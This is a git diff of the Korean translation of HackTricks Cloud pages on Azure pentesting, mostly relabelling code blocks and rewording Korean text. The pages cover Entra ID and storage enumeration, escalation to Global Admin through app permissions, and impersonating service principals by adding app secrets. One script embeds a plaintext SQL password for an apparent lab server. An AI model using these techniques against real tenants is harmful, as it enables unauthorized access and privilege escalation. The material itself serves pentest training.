각 엔터프라이즈 앱에 클라이언트 비밀을 나열하고 추가해 보세요 -```powershell +```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { @@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # List all registered applications Get-AzureADApplication -All $true # Get details of an application @@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get Apps Get-AzADApplication # Get details of one App @@ -653,21 +653,21 @@ Get-AzADAppCredential {{#endtabs }} > [!WARNING] -> **`AppRoleAssignment.ReadWrite`** 권한이 있는 앱은 **Global Admin**으로 **승격**할 수 있습니다.\ -> 자세한 내용은 [**여기에서 확인하세요**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> **`AppRoleAssignment.ReadWrite`** 권한을 가진 앱은 **Global Admin**으로 **승격**할 수 있습니다.\ +> 더 많은 정보는 [**여기 확인하세요**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> 애플리케이션이 토큰을 요청할 때 신원을 증명하는 데 사용하는 비밀 문자열은 애플리케이션 비밀번호입니다.\ +> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하는 데 사용하는 비밀 문자열은 애플리케이션 비밀번호입니다.\ > 따라서 이 **비밀번호**를 찾으면 **서비스 주체**로 **테넌트** **내부**에 접근할 수 있습니다.\ -> 이 비밀번호는 생성될 때만 볼 수 있습니다(변경할 수는 있지만 다시 얻을 수는 없습니다).\ -> **애플리케이션**의 **소유자**는 이를 **가짜로** 사용할 수 있도록 **비밀번호**를 추가할 수 있습니다.\ +> 이 비밀번호는 생성될 때만 볼 수 있습니다 (변경할 수는 있지만 다시 얻을 수는 없습니다).\ +> **애플리케이션**의 **소유자**는 이를 위해 **비밀번호**를 **추가**할 수 있습니다 (그래서 그가 이를 가장할 수 있습니다).\ > 이러한 서비스 주체로의 로그인은 **위험한 것으로 표시되지 않으며** **MFA가 없습니다.** Microsoft에 속하는 일반적으로 사용되는 App ID 목록을 찾는 것은 가능합니다 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### 관리되는 ID -관리되는 ID에 대한 자세한 내용은 다음을 확인하세요: +관리되는 ID에 대한 더 많은 정보는 다음을 확인하세요: {{#ref}} ../az-basic-information/ @@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get role assignments on the subscription Get-AzRoleDefinition # Get Role definition @@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/ | fl * {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Devices Get-AzureADDevice -All $true | fl * # List all the active devices (and not the stale devices) @@ -850,7 +850,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> 만약 장치(VM)가 **AzureAD에 연결되어** 있다면, AzureAD의 사용자들이 **로그인할 수 있습니다**.\ +> 만약 장치(VM)가 **AzureAD에 가입되어** 있다면, AzureAD의 사용자들이 **로그인할 수** 있습니다.\ > 게다가, 로그인한 사용자가 장치의 **소유자**라면, 그는 **로컬 관리자**가 됩니다. ### 관리 단위 @@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash # Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id @@ -908,14 +908,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members Azure의 권한 있는 ID 관리(PIM)는 **불필요하게 사용자에게 과도한 권한이 부여되는 것을 방지**하는 데 도움을 줍니다. -PIM이 제공하는 주요 기능 중 하나는 항상 활성 상태인 주체에게 역할을 할당하지 않고 **일정 기간(예: 6개월)** 동안 자격을 부여할 수 있다는 것입니다. 그런 다음 사용자가 해당 역할을 활성화하고 싶을 때, 필요한 권한의 시간을 지정하여 요청해야 합니다(예: 3시간). 그런 다음 **관리자가** 요청을 승인해야 합니다.\ +PIM이 제공하는 주요 기능 중 하나는 항상 활성 상태인 주체에게 역할을 할당하지 않고 **일정 기간(예: 6개월)** 동안 자격을 부여할 수 있다는 것입니다. 그런 다음 사용자가 해당 역할을 활성화하고 싶을 때, 필요한 권한의 시간을 명시하여 요청해야 합니다(예: 3시간). 그런 다음 **관리자가** 요청을 승인해야 합니다.\ 사용자는 또한 시간을 **연장** 요청할 수 있습니다. 또한, **PIM은** 권한 있는 역할이 누군가에게 할당될 때마다 이메일을 보냅니다.
-PIM이 활성화되면 각 역할을 다음과 같은 특정 요구 사항으로 구성할 수 있습니다: +PIM이 활성화되면 각 역할에 대해 다음과 같은 특정 요구 사항을 구성할 수 있습니다: - 활성화 최대 기간(시간) - 활성화 시 MFA 요구 @@ -923,7 +923,7 @@ PIM이 활성화되면 각 역할을 다음과 같은 특정 요구 사항으로 - 활성화 시 정당화 요구 - 활성화 시 티켓 정보 요구 - 활성화 승인 요구 -- 자격 부여된 할당의 최대 만료 시간 +- 자격 부여 할당 만료 최대 시간 - 특정 작업이 해당 역할과 관련하여 발생할 때 알림을 보낼 사람과 시기를 구성하는 많은 추가 설정 ### 조건부 액세스 정책 @@ -936,9 +936,9 @@ PIM이 활성화되면 각 역할을 다음과 같은 특정 요구 사항으로 ### Entra ID 보호 -Entra ID 보호는 **사용자 또는 로그인 시도가 너무 위험할 때 이를 감지**하여 사용자를 **차단**할 수 있는 보안 서비스입니다. +Entra ID 보호는 **사용자 또는 로그인 시도가 너무 위험할 때 이를 감지**하여 사용자를 **차단**하거나 로그인 시도를 차단할 수 있는 보안 서비스입니다. -관리자가 "낮음 이상", "중간 이상" 또는 "높음"일 때 시도를 **차단**하도록 구성할 수 있습니다. 그러나 기본적으로는 완전히 **비활성화**되어 있습니다: +관리자가 "낮음 이상", "중간 이상" 또는 "높음"일 때 시도를 **차단**하도록 구성할 수 있습니다. 그러나 기본적으로 완전히 **비활성화**되어 있습니다:
@@ -947,16 +947,16 @@ Entra ID 보호는 **사용자 또는 로그인 시도가 너무 위험할 때 ### Entra 비밀번호 보호 -Entra 비밀번호 보호 ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade))는 **여러 번의 로그인 시도가 실패할 때 계정을 잠금으로써 약한 비밀번호의 남용을 방지**하는 보안 기능입니다.\ +Entra 비밀번호 보호 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade))는 **여러 번의 로그인 시도가 실패할 때 계정을 잠금으로써 약한 비밀번호의 남용을 방지하는 데 도움을 주는 보안 기능**입니다.\ 또한 제공해야 하는 **사용자 정의 비밀번호 목록을 금지**할 수 있습니다. -클라우드 수준과 온프레미스 Active Directory 모두에 **적용**할 수 있습니다. +이는 **클라우드 수준과 온프레미스 Active Directory 모두에 적용**될 수 있습니다. 기본 모드는 **감사**입니다:
-## 참고 문헌 +## 참조 - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index f9824b15e..d1a0fefaf 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -21,7 +21,7 @@ Learn & practice GCP Hacking: --contai {% tab title="Az PowerShell" %} {% code overflow="wrap" %} -```powershell +```bash Get-Command -Module Az.CosmosD # List all Cosmos DB accounts in a specified resource group. @@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group --name " -Context (New-AzStorageContext -Stor > [!TIP] > 사용할 계정 키를 나타내려면 `--account-key` 매개변수를 사용하십시오.\ -> SAS 토큰을 사용하여 액세스하려면 SAS 토큰과 함께 `--sas-token` 매개변수를 사용하십시오. +> SAS 토큰을 사용하여 액세스하려면 `--sas-token` 매개변수를 사용하십시오. ### 연결 @@ -94,7 +94,7 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor {{#tabs}} {{#tab name="Windows"}} -```powershell +```bash $connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445 if ($connectTestResult.TcpTestSucceeded) { # Save the password so the drive will persist on reboot diff --git a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md index c6fe91bfd..accd2a5e5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md +++ b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md @@ -6,7 +6,7 @@ **Azure Key Vault**는 Microsoft Azure에서 제공하는 클라우드 서비스로, **비밀, 키, 인증서 및 비밀번호**와 같은 민감한 정보를 안전하게 저장하고 관리하는 데 사용됩니다. 이는 중앙 집중식 저장소 역할을 하며, Azure Active Directory (Azure AD)를 사용하여 안전한 액세스와 세밀한 제어를 제공합니다. 보안 관점에서 Key Vault는 암호화 키에 대한 **하드웨어 보안 모듈 (HSM) 보호**를 제공하고, 비밀이 저장 중 및 전송 중 모두 암호화되도록 보장하며, **역할 기반 액세스 제어 (RBAC)** 및 정책을 통해 강력한 액세스 관리를 제공합니다. 또한 **감사 로그** 기능, 액세스 추적을 위한 Azure Monitor와의 통합, 장기간 키 노출로 인한 위험을 줄이기 위한 자동 키 회전 기능도 포함되어 있습니다. -자세한 내용은 [Azure Key Vault REST API 개요](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates)를 참조하십시오. +자세한 내용은 [Azure Key Vault REST API 개요](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates)를 참조하세요. [**문서**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts)에 따르면, Vault는 소프트웨어 및 HSM 지원 키, 비밀 및 인증서를 저장하는 것을 지원합니다. 관리형 HSM 풀은 HSM 지원 키만 지원합니다. @@ -17,9 +17,9 @@ - `vault-name`은 키 볼트의 전 세계적으로 **고유한** 이름입니다. - `object-type`은 "keys", "secrets" 또는 "certificates"일 수 있습니다. - `object-name`은 키 볼트 내에서 **고유한** 객체 이름입니다. -- `object-version`은 시스템에서 생성되며 **객체의 고유한 버전**을 지정하는 데 선택적으로 사용됩니다. +- `object-version`은 시스템에서 생성되며 **객체의 고유 버전**을 지정하는 데 선택적으로 사용됩니다. -Vault에 저장된 비밀에 접근하기 위해 Vault를 생성할 때 2가지 권한 모델 중에서 선택할 수 있습니다: +볼트에 저장된 비밀에 접근하기 위해 볼트를 생성할 때 2가지 권한 모델 중에서 선택할 수 있습니다: - **Vault 액세스 정책** - **Azure RBAC** (가장 일반적이고 권장됨) @@ -42,7 +42,7 @@ Key Vault 리소스에 대한 액세스는 두 가지 평면에 의해 제어됩 ### 네트워크 액세스 -Azure Key Vault에서는 **방화벽** 규칙을 설정하여 **지정된 가상 네트워크 또는 IPv4 주소 범위에서만 데이터 평면 작업을 허용**할 수 있습니다. 이 제한은 Azure 관리 포털을 통한 액세스에도 영향을 미치며, 사용자의 로그인 IP 주소가 허가된 범위에 포함되지 않으면 키 볼트에서 키, 비밀 또는 인증서를 나열할 수 없습니다. +Azure Key Vault에서는 **방화벽** 규칙을 설정하여 **지정된 가상 네트워크 또는 IPv4 주소 범위에서만 데이터 평면 작업을 허용**할 수 있습니다. 이 제한은 Azure 관리 포털을 통한 액세스에도 영향을 미치며, 사용자의 로그인 IP 주소가 허가된 범위 내에 있지 않으면 키 볼트에서 키, 비밀 또는 인증서를 나열할 수 없습니다. 이 설정을 분석하고 관리하기 위해 **Azure CLI**를 사용할 수 있습니다: ```bash @@ -56,7 +56,7 @@ az keyvault show --name name-vault --query networkAcls 키 볼트가 생성될 때 삭제를 허용하는 최소 일수는 7일입니다. 즉, 해당 키 볼트를 삭제하려고 할 때 **삭제되기 위해서는 최소 7일이 필요합니다**. -그러나 **퍼지 보호가 비활성화된** 볼트를 생성할 수 있으며, 이는 보존 기간 동안 키 볼트와 객체를 퍼지할 수 있게 합니다. 하지만, 이 보호가 볼트에 대해 활성화되면 비활성화할 수 없습니다. +그러나 **퍼지 보호가 비활성화된** 볼트를 생성할 수 있으며, 이는 키 볼트와 객체가 보존 기간 동안 퍼지될 수 있도록 허용합니다. 하지만, 이 보호가 볼트에 대해 활성화되면 비활성화할 수 없습니다. ## 열거 @@ -92,7 +92,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/ --resource-group # Get info diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index c5f726f23..9facff90d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -16,7 +16,7 @@ Learn & practice GCP Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹을 배우고 연습하세요:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹을 배우고 연습하세요: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks 지원하기 -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
{% endhint %} @@ -18,24 +18,24 @@ Learn & practice GCP Hacking: --name {{#endtab}} {{#tab name="Az PowerShell"}} -```powershell +```bash # List Servers Get-AzSqlServer -ResourceGroupName "" @@ -209,7 +209,7 @@ Get-AzSqlVM ### SQL 쿼리 연결 및 실행 예제 [Az WebApp 열거하기](az-app-services.md)에서 연결 문자열(자격 증명 포함)을 찾을 수 있습니다: -```powershell +```bash function invoke-sql{ param($query) $Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;" @@ -228,7 +228,7 @@ $Connection.Close() invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;' ``` 데이터베이스에 접근하기 위해 sqlcmd를 사용할 수도 있습니다. 서버가 공용 연결을 허용하는지 아는 것이 중요합니다 `az sql server show --name --resource-group ` 그리고 방화벽 규칙이 우리의 IP가 접근할 수 있도록 허용하는지도 확인해야 합니다: -```powershell +```bash sqlcmd -S .database.windows.net -U -P -d ``` ## References diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 098424e1b..100609b4d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,24 +4,24 @@ ## 기본 정보 -Azure Storage Accounts는 Microsoft Azure의 기본 서비스로, **다양한 데이터 유형**에 대해 확장 가능하고 안전하며 고가용성의 클라우드 저장소를 제공합니다. 여기에는 blobs(바이너리 대용량 객체), 파일, 큐 및 테이블이 포함됩니다. 이들은 단일 네임스페이스 아래에서 이러한 다양한 저장소 서비스를 쉽게 관리할 수 있도록 그룹화하는 컨테이너 역할을 합니다. +Azure Storage Accounts는 Microsoft Azure의 기본 서비스로, 다양한 데이터 유형에 대한 확장 가능하고 안전하며 고가용성의 클라우드 **스토리지를 제공합니다**, 여기에는 blobs(바이너리 대용량 객체), 파일, 큐 및 테이블이 포함됩니다. 이들은 이러한 다양한 스토리지 서비스를 단일 네임스페이스 아래에서 쉽게 관리할 수 있도록 그룹화하는 컨테이너 역할을 합니다. **주요 구성 옵션**: -- 모든 저장소 계정은 **모든 Azure에서 유일한 이름**을 가져야 합니다. -- 모든 저장소 계정은 **지역** 또는 Azure 확장 영역에 배포됩니다. -- 더 나은 성능을 위해 저장소 계정의 **프리미엄** 버전을 선택할 수 있습니다. -- **랙, 드라이브 및 데이터 센터 장애**로부터 보호하기 위해 **4가지 유형의 중복성** 중에서 선택할 수 있습니다. +- 모든 스토리지 계정은 **모든 Azure에서 유일한 이름**을 가져야 합니다. +- 모든 스토리지 계정은 **지역** 또는 Azure 확장 영역에 배포됩니다. +- 더 나은 성능을 위해 스토리지 계정의 **프리미엄** 버전을 선택할 수 있습니다. +- **랙, 드라이브 및 데이터 센터의 실패**로부터 보호하기 위해 **4가지 유형의 중복성** 중에서 선택할 수 있습니다. **보안 구성 옵션**: -- **REST API 작업에 대한 보안 전송 요구**: 저장소와의 모든 통신에서 TLS 요구 +- **REST API 작업에 대한 보안 전송 요구**: 스토리지와의 모든 통신에서 TLS 요구 - **개별 컨테이너에서 익명 액세스 허용**: 그렇지 않으면 향후 익명 액세스를 활성화할 수 없습니다. -- **저장소 계정 키 액세스 활성화**: 그렇지 않으면 공유 키로의 액세스가 금지됩니다. +- **스토리지 계정 키 액세스 활성화**: 그렇지 않으면 공유 키로의 액세스가 금지됩니다. - **최소 TLS 버전** -- **복사 작업에 대한 허용 범위**: 모든 저장소 계정, 동일한 Entra 테넌트의 모든 저장소 계정 또는 동일한 가상 네트워크의 개인 엔드포인트가 있는 저장소 계정에서 허용합니다. +- **복사 작업에 대한 허용 범위**: 모든 스토리지 계정, 동일한 Entra 테넌트의 모든 스토리지 계정 또는 동일한 가상 네트워크의 개인 엔드포인트가 있는 스토리지 계정에서 허용합니다. -**Blob 저장소 옵션**: +**Blob Storage 옵션**: - **크로스 테넌트 복제 허용** - **액세스 계층**: 핫(자주 액세스되는 데이터), 쿨 및 콜드(드물게 액세스되는 데이터) @@ -32,7 +32,7 @@ Azure Storage Accounts는 Microsoft Azure의 기본 서비스로, **다양한 - 모든 네트워크에서 허용 - 선택된 가상 네트워크 및 IP 주소에서 허용 - 공용 액세스를 비활성화하고 개인 액세스를 사용 -- **개인 엔드포인트**: 가상 네트워크에서 저장소 계정으로의 개인 연결을 허용합니다. +- **개인 엔드포인트**: 가상 네트워크에서 스토리지 계정으로의 개인 연결을 허용합니다. **데이터 보호 옵션**: @@ -42,56 +42,56 @@ Azure Storage Accounts는 Microsoft Azure의 기본 서비스로, **다양한 - **컨테이너에 대한 소프트 삭제 활성화**: 삭제된 컨테이너에 대한 보존 기간을 일수로 설정합니다. - **파일 공유에 대한 소프트 삭제 활성화**: 삭제된 파일 공유에 대한 보존 기간을 일수로 설정합니다. - **blob에 대한 버전 관리 활성화**: 이전 버전의 blob을 유지합니다. -- **blob 변경 피드 활성화**: blob에 대한 생성, 수정 및 삭제 변경 로그를 유지합니다. -- **버전 수준 불변성 지원 활성화**: 모든 blob 버전에 적용될 계정 수준의 시간 기반 보존 정책을 설정할 수 있습니다. -- 버전 수준 불변성 지원과 컨테이너에 대한 시점 복원을 동시에 활성화할 수 없습니다. +- **blob 변경 피드 활성화**: blob에 대한 생성, 수정 및 삭제 변경 사항의 로그를 유지합니다. +- **버전 수준 불변성 지원 활성화**: 모든 blob 버전에 적용되는 시간 기반 보존 정책을 계정 수준에서 설정할 수 있습니다. +- 버전 수준 불변성 지원과 컨테이너에 대한 시점 복원은 동시에 활성화할 수 없습니다. **암호화 구성 옵션**: - **암호화 유형**: Microsoft 관리 키(MMK) 또는 고객 관리 키(CMK)를 사용할 수 있습니다. -- **인프라 암호화 활성화**: "더 많은 보안을 위해" 데이터를 이중 암호화할 수 있습니다. +- **인프라 암호화 활성화**: "더 많은 보안을 위해" 데이터를 이중으로 암호화할 수 있습니다. -### 저장소 엔드포인트 +### 스토리지 엔드포인트 -
저장소 서비스엔드포인트
Blob 저장소https://<storage-account>.blob.core.windows.net

https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list
데이터 레이크 저장소https://<storage-account>.dfs.core.windows.net
Azure 파일https://<storage-account>.file.core.windows.net
큐 저장소https://<storage-account>.queue.core.windows.net
테이블 저장소https://<storage-account>.table.core.windows.net
+
스토리지 서비스엔드포인트
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
### 공개 노출 -"Blob 공용 액세스 허용"이 **활성화**된 경우(기본적으로 비활성화됨), 컨테이너를 생성할 때 다음을 수행할 수 있습니다: +"Blob 공개 액세스 허용"이 **활성화**된 경우(기본적으로 비활성화됨), 컨테이너를 생성할 때 다음을 수행할 수 있습니다: -- **blob 읽기**에 대한 **공용 액세스 제공**(이름을 알아야 함). +- **blob 읽기에 대한 공개 액세스 제공**(이름을 알아야 함). - **컨테이너 blob 나열** 및 **읽기**. - 완전히 **비공개로 만들기**
-### 저장소에 연결 +### 스토리지에 연결 -연결할 수 있는 **저장소**를 찾으면 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 도구를 사용할 수 있습니다. +연결할 수 있는 **스토리지**를 찾으면 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 도구를 사용할 수 있습니다. -## 저장소 접근 +## 스토리지 접근 ### RBAC -저장소 계정에 접근하기 위해 **RBAC 역할**과 함께 Entra ID 주체를 사용할 수 있으며, 이는 권장되는 방법입니다. +Entra ID 주체와 함께 **RBAC 역할**을 사용하여 스토리지 계정에 접근할 수 있으며, 이는 권장되는 방법입니다. ### 액세스 키 -저장소 계정에는 액세스할 수 있는 액세스 키가 있습니다. 이는 **저장소 계정에 대한 전체 액세스**를 제공합니다. +스토리지 계정에는 액세스할 수 있는 액세스 키가 있습니다. 이는 스토리지 계정에 대한 **전체 액세스**를 제공합니다.
### **공유 키 및 라이트 공유 키** -특정 리소스에 대한 액세스를 승인하기 위해 액세스 키로 서명된 [**공유 키 생성**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key)을 사용할 수 있습니다. +특정 리소스에 대한 액세스를 승인하기 위해 액세스 키로 서명된 [**공유 키를 생성**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key)할 수 있습니다. > [!NOTE] -> `CanonicalizedResource` 부분은 저장소 서비스 리소스(URI)를 나타냅니다. URL의 어떤 부분이 인코딩된 경우, `CanonicalizedResource` 내에서도 인코딩되어야 합니다. +> `CanonicalizedResource` 부분은 스토리지 서비스 리소스(URI)를 나타냅니다. URL의 어떤 부분이 인코딩된 경우, `CanonicalizedResource` 내에서도 인코딩되어야 합니다. > [!NOTE] -> 이는 **기본적으로 `az` cli**에서 요청을 인증하는 데 사용됩니다. Entra ID 주체 자격 증명을 사용하려면 `--auth-mode login` 매개변수를 지정하십시오. +> 이는 **기본적으로 `az` cli**에 의해 요청을 인증하는 데 사용됩니다. Entra ID 주체 자격 증명을 사용하려면 `--auth-mode login` 매개변수를 지정하십시오. -- 다음 정보를 서명하여 **blob, 큐 및 파일 서비스에 대한 공유 키를 생성할 수 있습니다**: +- 다음 정보를 서명하여 **blob, queue 및 file 서비스에 대한 공유 키를 생성**할 수 있습니다: ```bash StringToSign = VERB + "\n" + Content-Encoding + "\n" + @@ -108,7 +108,7 @@ Range + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- 다음 정보를 서명하여 **테이블 서비스에 대한 공유 키**를 생성할 수 있습니다: +- 다음 정보를 서명하여 **테이블 서비스용 공유 키**를 생성할 수 있습니다: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -116,7 +116,7 @@ Content-Type + "\n" + Date + "\n" + CanonicalizedResource; ``` -- 다음 정보를 서명하여 **blob, queue 및 file 서비스**에 대한 **lite shared key**를 생성할 수 있습니다: +- 다음 정보를 서명하여 **blob, queue 및 file 서비스**에 대한 **lite 공유 키**를 생성할 수 있습니다: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -130,7 +130,7 @@ CanonicalizedResource; StringToSign = Date + "\n" CanonicalizedResource ``` -그런 다음 키를 사용하려면 다음 구문에 따라 Authorization 헤더에서 수행할 수 있습니다: +그런 다음, 키를 사용하려면 다음 구문에 따라 Authorization 헤더에 추가할 수 있습니다: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -148,10 +148,10 @@ Content-Length: 0 #### SAS 유형 -- **사용자 위임 SAS**: 이는 **Entra ID 주체**에서 생성되며, SAS를 서명하고 사용자로부터 SAS로 권한을 위임합니다. **blob 및 데이터 레이크 스토리지**와 함께 사용될 수 있습니다 ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). 생성된 모든 사용자 위임 SAS를 **철회**할 수 있습니다. -- 사용자가 가진 권한보다 "더 많은" 권한으로 위임 SAS를 생성하는 것이 가능하지만, 주체가 해당 권한을 가지지 않으면 작동하지 않습니다(권한 상승 없음). +- **사용자 위임 SAS**: 이는 **Entra ID 주체**에서 생성되며, SAS를 서명하고 사용자로부터 SAS로 권한을 위임합니다. **blob 및 데이터 레이크 스토리지**와 함께 사용될 수 있습니다 ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). 생성된 모든 사용자 위임 SAS를 **취소**할 수 있습니다. +- 사용자가 가진 것보다 "더 많은" 권한으로 위임 SAS를 생성하는 것이 가능하지만, 주체가 해당 권한을 가지지 않으면 작동하지 않습니다(권한 상승 없음). - **서비스 SAS**: 이는 스토리지 계정의 **액세스 키** 중 하나를 사용하여 서명됩니다. 단일 스토리지 서비스의 특정 리소스에 대한 액세스를 부여하는 데 사용할 수 있습니다. 키가 갱신되면 SAS는 작동을 중지합니다. -- **계정 SAS**: 이는 스토리지 계정의 **액세스 키** 중 하나로 서명됩니다. 스토리지 계정 서비스(Blob, Queue, Table, File) 전반에 걸쳐 리소스에 대한 액세스를 부여하며 서비스 수준 작업을 포함할 수 있습니다. +- **계정 SAS**: 이것도 스토리지 계정의 **액세스 키** 중 하나로 서명됩니다. 스토리지 계정 서비스(Blob, Queue, Table, File) 전반에 걸쳐 리소스에 대한 액세스를 부여하며 서비스 수준 작업을 포함할 수 있습니다. 액세스 키로 서명된 SAS URL은 다음과 같습니다: @@ -169,7 +169,7 @@ Content-Length: 0 #### SAS 권한 -SAS를 생성할 때 부여해야 할 권한을 지정해야 합니다. SAS가 생성되는 객체에 따라 포함될 수 있는 권한이 다를 수 있습니다. 예를 들어: +SAS를 생성할 때 부여해야 할 권한을 지정해야 합니다. SAS가 생성되는 객체에 따라 포함될 수 있는 다양한 권한이 있습니다. 예를 들어: - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete @@ -188,8 +188,8 @@ Azure Blob Storage는 이제 SSH 파일 전송 프로토콜(SFTP)을 지원하 ### 설정 요구 사항 -- 계층적 네임스페이스: 스토리지 계정을 생성할 때 HNS를 활성화해야 합니다. -- 지원되는 암호화: Microsoft 보안 개발 수명 주기(SDL)에서 승인된 암호화 알고리즘이 필요합니다(예: rsa-sha2-256, ecdsa-sha2-nistp256). +- 계층적 네임스페이스: 스토리지 계정을 생성할 때 HNS가 활성화되어야 합니다. +- 지원되는 암호화: Microsoft 보안 개발 수명 주기(SDL)에서 승인된 암호화 알고리즘(예: rsa-sha2-256, ecdsa-sha2-nistp256)이 필요합니다. - SFTP 구성: - 스토리지 계정에서 SFTP를 활성화합니다. - 적절한 권한을 가진 로컬 사용자 신원을 생성합니다. @@ -197,15 +197,15 @@ Azure Blob Storage는 이제 SSH 파일 전송 프로토콜(SFTP)을 지원하 ### 권한 -| 권한 | 기호 | 설명 | -| ---------------------- | ----- | ------------------------------------- | -| **읽기** | `r` | 파일 내용을 읽습니다. | -| **쓰기** | `w` | 파일을 업로드하고 디렉터리를 생성합니다. | -| **목록** | `l` | 디렉터리의 내용을 나열합니다. | -| **삭제** | `d` | 파일 또는 디렉터리를 삭제합니다. | -| **생성** | `c` | 파일 또는 디렉터리를 생성합니다. | -| **소유권 수정** | `o` | 소유 사용자 또는 그룹을 변경합니다. | -| **권한 수정** | `p` | 파일 또는 디렉터리의 ACL을 변경합니다. | +| 